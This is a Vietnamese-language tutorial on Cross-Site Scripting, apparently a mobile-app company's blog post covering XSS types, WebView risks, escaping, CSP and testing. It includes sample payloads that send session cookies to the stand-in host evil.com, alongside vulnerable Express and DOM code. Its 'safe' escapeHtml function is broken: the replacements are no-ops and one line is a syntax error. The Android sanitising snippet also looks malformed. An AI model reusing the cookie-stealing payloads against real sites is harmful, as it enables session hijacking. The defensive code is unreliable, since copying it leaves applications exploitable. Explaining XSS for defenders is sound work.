XSS (Cross-Site Scripting) là một loại lỗ hổng ứng dụng web mà kẻ tấn công tiêm mã JavaScript độc hại vào nội dung hiển thị cho người dùng khác. Theo OWASP Top Ten (2025), XSS vẫn là một trong những lỗ hổng phổ biến nhất, ảnh hưởng đến hơn 60% ứng dụng web. Cross-Site Scripting cho phép đánh cắp cookie phiên, chuyển hướng người dùng đến các trang lừa đảo và sửa đổi nội dung trang theo thời gian thực.
Những điểm chính
XSS (Cross-Site Scripting) là một lỗ hổng cho phép kẻ tấn công tiêm mã JavaScript vào một trang web, sau đó được thực thi trong trình duyệt của nạn nhân. Trình duyệt tải trang từ một trang web đáng tin cậy và thực thi script được tiêm với cùng đặc quyền như mã hợp pháp của trang. Điều này cho phép kẻ tấn công truy cập cookie, bộ nhớ phiên, cây DOM của trang và khả năng gửi yêu cầu thay mặt nạn nhân. Lỗ hổng XSS xảy ra khi ứng dụng chèn dữ liệu người dùng vào trang HTML mà không thoát đúng cách hoặc xác thực.
Thuật ngữ Cross-Site Scripting lần đầu tiên xuất hiện vào năm 2000 trong một bản tin bảo mật của Microsoft. Trong 25 năm qua, XSS không mất đi tính liên quan: theo HackerOne (2025), XSS chiếm khoảng 22% tất cả các lỗ hổng đã đăng ký trên nền tảng. Lý do cho sự tồn tại của XSS là khó kiểm soát tất cả các điểm đầu vào của dữ liệu người dùng. Bất kỳ trường nhập liệu, tham số URL, tiêu đề yêu cầu HTTP hoặc tên tệp nào cũng có thể trở thành vectơ tấn công nếu dữ liệu được phản ánh trong mã HTML mà không qua xử lý.
Các cuộc tấn công XSS có thể dẫn đến đánh cắp cookie phiên, cho phép kẻ tấn công đăng nhập vào tài khoản của nạn nhân mà không cần mật khẩu. Các hậu quả khác bao gồm: chuyển hướng đến các trang lừa đảo, giả mạo nội dung trang, đánh cắp dữ liệu cá nhân và cài đặt phần mềm độc hại (drive-by download). Năm 2023, một cuộc tấn công XSS vào nền tảng Salesforce Community Cloud đã ảnh hưởng đến dữ liệu của hàng nghìn khách hàng doanh nghiệp, chứng minh rằng ngay cả các nền tảng lớn cũng không miễn nhiễm với lỗ hổng này.
Phân loại XSS chia các cuộc tấn công thành ba loại chính dựa trên phương pháp phân phối mã độc. Mỗi loại yêu cầu một cách tiếp cận bảo vệ khác nhau: Stored XSS bị chặn bằng cách thoát đầu ra từ cơ sở dữ liệu, Reflected — bằng cách thoát tham số URL, DOM-based — bằng cách làm việc an toàn với API DOM. Hiểu được sự khác biệt là nền tảng của một chiến lược bảo mật hiệu quả.
| Loại | Lưu trữ script | Vectơ phân phối | Độ khó phát hiện |
|---|---|---|---|
| Stored XSS | Cơ sở dữ liệu máy chủ | Bình luận, hồ sơ, tin nhắn | Trung bình |
| Reflected XSS | Tham số URL | Liên kết lừa đảo, email | Cao |
| DOM-based XSS | JavaScript phía máy khách | Đoạn URL, postMessage | Rất cao |
Loại XSS nguy hiểm nhất. Kẻ tấn công tiêm script vào dữ liệu mà máy chủ lưu trữ trong cơ sở dữ liệu và hiển thị mỗi khi tải trang. Một vectơ điển hình là trường bình luận: kẻ tấn công đăng bình luận với <script>document.location='https://evil.com/?c='+document.cookie</script>. Mỗi người dùng tải trang có bình luận này sẽ gửi cookie của họ cho kẻ tấn công. Stored XSS không yêu cầu nạn nhân thực hiện hành động nào ngoài việc truy cập trang — điều này làm cho nó đặc biệt nguy hiểm đối với mạng xã hội, diễn đàn và blog.
Script độc hại được truyền trong yêu cầu HTTP (thường trong tham số URL) và được máy chủ phản ánh ngay lập tức trong phản hồi. Kẻ tấn công tạo một liên kết như https://example.com/search?q=<script>...</script> và phân phối nó qua lừa đảo, mạng xã hội hoặc email. Nạn nhân, khi nhấp vào liên kết, nhận được một trang nơi truy vấn tìm kiếm đã nhập (script) được hiển thị mà không thoát. Reflected XSS yêu cầu kỹ thuật xã hội — nạn nhân phải nhấp vào liên kết, điều này làm giảm nhưng không loại bỏ rủi ro.
Không giống như Stored và Reflected, DOM-based XSS không yêu cầu gửi dữ liệu đến máy chủ. Lỗ hổng xảy ra khi JavaScript phía máy khách chèn dữ liệu người dùng từ URL, document.referrer, postMessage hoặc localStorage vào DOM mà không qua xử lý an toàn. Ví dụ, mã như document.getElementById('output').innerHTML = location.hash.substring(1) thực thi bất kỳ HTML và script nào từ đoạn URL (#<img onerror='...'>). DOM-based XSS khó phát hiện nhất vì máy chủ không bao giờ nhận được tải trọng độc hại — nó được xử lý hoàn toàn trên máy khách.
// Ví dụ DOM-based XSS (MÃ DỄ BỊ TẤN CÔNG)
// Nếu userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — nguy hiểm: chèn HTML thô
document.write('<div>' + userInput + '</div>');
// THAY THẾ AN TOÀN — sử dụng textContent
document.getElementById('output').textContent = userInput;
XSS khai thác một thuộc tính cơ bản của web: trình duyệt thực thi JavaScript nhận được từ một miền đáng tin cậy. Nếu kẻ tấn công tìm ra cách tiêm mã của mình vào phản hồi HTML của máy chủ, trình duyệt sẽ thực thi nó với cùng đặc quyền như mã hợp pháp. Cuộc tấn công trải qua ba giai đoạn: tiêm mã độc vào nội dung, phân phối nội dung đến trình duyệt của nạn nhân và thực thi mã với quyền truy cập vào DOM, cookie và bộ nhớ.
Kẻ tấn công tìm điểm xâm nhập — một trường, tham số URL hoặc tiêu đề mà giá trị của nó được máy chủ đưa vào phản hồi HTML mà không thoát. Các điểm xâm nhập điển hình bao gồm: thanh tìm kiếm, trường bình luận, tên người dùng, URL hình đại diện, cookie, tiêu đề HTTP (User-Agent, Referer). Các framework hiện đại (React, Angular, Vue) tự động thoát đầu ra, nhưng nhà phát triển có thể tắt tính năng thoát qua dangerouslySetInnerHTML, bypassSecurityTrustHtml hoặc v-html.
Đối với Reflected XSS, kẻ tấn công phân phối liên kết độc hại. Đối với Stored XSS, chỉ cần đăng nội dung lên trang web mục tiêu và mọi khách truy cập trang đều trở thành nạn nhân. DOM-based XSS được kích hoạt khi một trang được tải với một đoạn URL cụ thể. Cả ba giai đoạn đều có thể được tự động hóa: nếu XSS được phát hiện trong biểu ngữ quảng cáo (nội dung của bên thứ ba), cuộc tấn công sẽ ảnh hưởng đến tất cả người dùng của trang cho đến khi biểu ngữ bị xóa.
// Ví dụ Reflected XSS trong tìm kiếm (BACKEND DỄ BỊ TẤN CÔNG)
// Thay vì thoát tham số q, máy chủ chèn nó vào HTML
// Express.js — trình xử lý dễ bị tấn công:
app.get('/search', (req, res) => {
const query = req.query.q; // đầu vào người dùng
res.send(`<h1>Results for: ${query}</h1>`);
});
// PHIÊN BẢN AN TOÀN — thoát qua encodeURI hoặc công cụ template:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Các ứng dụng di động cũng dễ bị tấn công XSS, mặc dù ở mức độ thấp hơn so với các trang web. Vectơ chính là WebView và các framework lai (Cordova, Capacitor, React Native với WebView). Nếu ứng dụng tải nội dung web trong WebView — đặc biệt là nội dung người dùng (email HTML, bài viết, tin nhắn) — lỗ hổng XSS có thể dẫn đến việc thực thi JavaScript bên trong ứng dụng với quyền truy cập vào các chức năng gốc thông qua cầu nối JavaScript.
Android WebView thực thi JavaScript theo mặc định. Nếu ứng dụng tải chuỗi HTML qua loadDataWithBaseURL() hoặc hiển thị nội dung người dùng, một cuộc tấn công XSS có thể cấp cho kẻ tấn công quyền truy cập vào giao diện JavaScript (addJavascriptInterface). Google đã cấm sử dụng @JavascriptInterface cho API < 17, nhưng mã cũ trong các ứng dụng cũ vẫn tồn tại. Bảo vệ: tắt JavaScript trong WebView nếu không cần thiết và sử dụng trình duyệt an toàn.
React Native không sử dụng WebView cho giao diện người dùng — các thành phần được render trong các view gốc. Tuy nhiên, khi hiển thị HTML qua react-native-webview hoặc các thành phần văn bản phong phú, rủi ro XSS quay trở lại. Flutter sử dụng công cụ render riêng (Skia) và không hỗ trợ JavaScript trong các widget HTML (flutter_html không thực thi thẻ script), nhưng các plugin WebView (webview_flutter) dễ bị tấn công tương tự như WebView gốc. Thực hành tốt nhất — không bao giờ truyền HTML không đáng tin cậy vào WebView.
// Cấu hình WebView an toàn trong Android
val webView = findViewById<WebView>(R.id.webview)
// Tắt JavaScript nếu không cần tương tác
webView.settings.javaScriptEnabled = false
// Làm sạch HTML trước khi tải
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Bảo vệ chống XSS dựa trên ba nguyên tắc: không tin tưởng đầu vào người dùng, thoát trước khi đầu ra, sử dụng Content Security Policy. Mã hóa đầu ra là phương pháp quan trọng nhất: tất cả dữ liệu nhận được từ người dùng phải được thoát trước khi chèn vào HTML, JavaScript, CSS hoặc URL. Các công cụ template hiện đại (Twig, Handlebars, JSX, Blade) tự động thực hiện điều này trừ khi nhà phát triển tắt tính năng thoát bằng các phương pháp đặc biệt.
Việc thoát phụ thuộc vào ngữ cảnh chèn dữ liệu. Trong ngữ cảnh HTML, <, >, & và dấu ngoặc kép được thoát. Trong ngữ cảnh JavaScript, dấu backtick,
và </script> được thoát. Trong ngữ cảnh CSS — các ký tự điều khiển. Trong ngữ cảnh URL — mã hóa URL. Một lỗi ngữ cảnh — ví dụ: chèn một chuỗi đã được thoát HTML vào thuộc tính onclick — không bảo vệ khỏi XSS vì onclick được thực thi trong ngữ cảnh JavaScript nơi cần một cách thoát khác.
CSP là tiêu đề HTTP giới hạn các nguồn mà trình duyệt có thể tải script, style và tài nguyên khác. CSP nghiêm ngặt (không unsafe-inline, không unsafe-eval) chặn việc thực thi bất kỳ script nội tuyến nào, bao gồm cả vectơ XSS. Theo Google Security Blog (2025), các trang web có CSP chặn 95% các cuộc tấn công XSS. Ví dụ: Content-Security-Policy: default-src 'self'; script-src 'self' cấm mọi script bên ngoài và nội tuyến. CSP không bảo vệ khỏi Stored XSS nếu script được tải từ cùng một miền, nhưng điều này đòi hỏi nỗ lực bổ sung từ kẻ tấn công.
Đặt cờ HttpOnly cho cookie ngăn chặn truy cập vào chúng qua JavaScript (document.cookie), từ đó chặn đánh cắp cookie phiên qua XSS. Cờ Secure đảm bảo cookie chỉ được truyền qua HTTPS. Sự kết hợp HttpOnly + Secure + SameSite=Lax làm cho việc đánh cắp cookie phiên qua XSS gần như không thể. Tuy nhiên, XSS vẫn có thể thực hiện các hành động thay mặt người dùng (ví dụ: gửi yêu cầu), vì vậy HttpOnly không phải là phương thuốc chữa bách bệnh mà là một phần của phòng thủ tổng thể.
| Phương pháp bảo vệ | Bảo vệ khỏi loại XSS | Hiệu quả |
|---|---|---|
| Thoát đầu ra | Stored, Reflected, DOM-based | 99% |
| CSP | XSS nội tuyến, dựa trên eval | 95% |
| Cookie HttpOnly | Đánh cắp phiên qua XSS | 100% (không đọc được) |
| Xác thực đầu vào | Stored, Reflected | 50% (tùy loại) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Kiểm tra XSS thường xuyên là một phần bắt buộc của quy trình CI/CD phát triển an toàn. Các máy quét tự động tìm thấy tới 80% lỗ hổng XSS; phần còn lại yêu cầu kiểm tra thâm nhập thủ công. Cách tiếp cận tốt nhất là kết hợp phân tích SAST (tĩnh), quét DAST (động) và đánh giá mã tập trung vào các điểm đầu vào dữ liệu người dùng.
Đối với ứng dụng di động, kiểm tra XSS bao gồm phân tích WebView: kiểm tra giao diện JavaScript, xử lý lược đồ URL và truyền HTML vào loadDataWithBaseURL. Cũng nên kiểm tra xử lý postMessage trong ứng dụng lai và xác minh dữ liệu được truyền qua cầu nối JavaScript. Sử dụng trình giả lập với proxy (Burp Suite) để chặn và sửa đổi lưu lượng ứng dụng di động.
Câu hỏi thường gặp
Stored XSS lưu trữ script độc hại trên máy chủ (trong cơ sở dữ liệu) và kích hoạt mỗi khi tải trang. Reflected XSS truyền script qua tham số URL và cuộc tấn công chỉ kích hoạt khi nhấp vào liên kết độc hại. Stored nguy hiểm hơn vì nó không yêu cầu hành động từ nạn nhân — chỉ cần mở trang bị nhiễm là đủ.
Không, HTTPS không bảo vệ khỏi XSS. HTTPS mã hóa lưu lượng giữa trình duyệt và máy chủ nhưng không ảnh hưởng đến xử lý đầu vào người dùng ở phía máy chủ. Lỗ hổng XSS tồn tại ở cấp ứng dụng, không phải cấp vận chuyển. HTTPS là mức bảo mật tối thiểu bắt buộc, nhưng không phải là biện pháp phòng thủ chống XSS.
Trong hầu hết các trường hợp, XSS được thực thi trong hộp cát của trình duyệt hoặc WebView và không có quyền truy cập vào hệ thống tệp hoặc phần cứng thiết bị. Tuy nhiên, trong Android WebView với giao diện JavaScript được bật, script XSS có thể gọi các phương thức ứng dụng gốc. Trong iOS, WKWebView cũng có thể lộ dữ liệu qua JavaScriptCore nếu cầu nối thích hợp được cấu hình.
Sử dụng Burp Suite hoặc OWASP ZAP với proxy được cấu hình trên thiết bị di động. Chặn các yêu cầu của ứng dụng, sửa đổi tham số và gửi tải trọng XSS. Kiểm tra WebView về xử lý HTML qua loadDataWithBaseURL và sự hiện diện của cầu nối JavaScript. Đối với React Native, kiểm tra các thành phần WebView riêng biệt.
DOM-based XSS là một cuộc tấn công nơi JavaScript trên trang tự lấy dữ liệu từ URL hoặc các nguồn khác và chèn vào HTML mà không xác thực. Máy chủ không tham gia — mã độc được xử lý hoàn toàn trong trình duyệt. Một ví dụ điển hình: trang web lấy văn bản từ location.hash và chèn nó qua innerHTML, cho phép thực thi bất kỳ mã HTML nào.
Tóm tắt
Chúng tôi sẽ phát triển ứng dụng di động chìa khóa trao tay
IT Sectr tạo các ứng dụng iOS và Android cho các công ty khởi nghiệp và doanh nghiệp từ năm 2017. Chúng tôi sẽ tư vấn và đề xuất giải pháp tốt nhất cho bạn.
Đọc thêm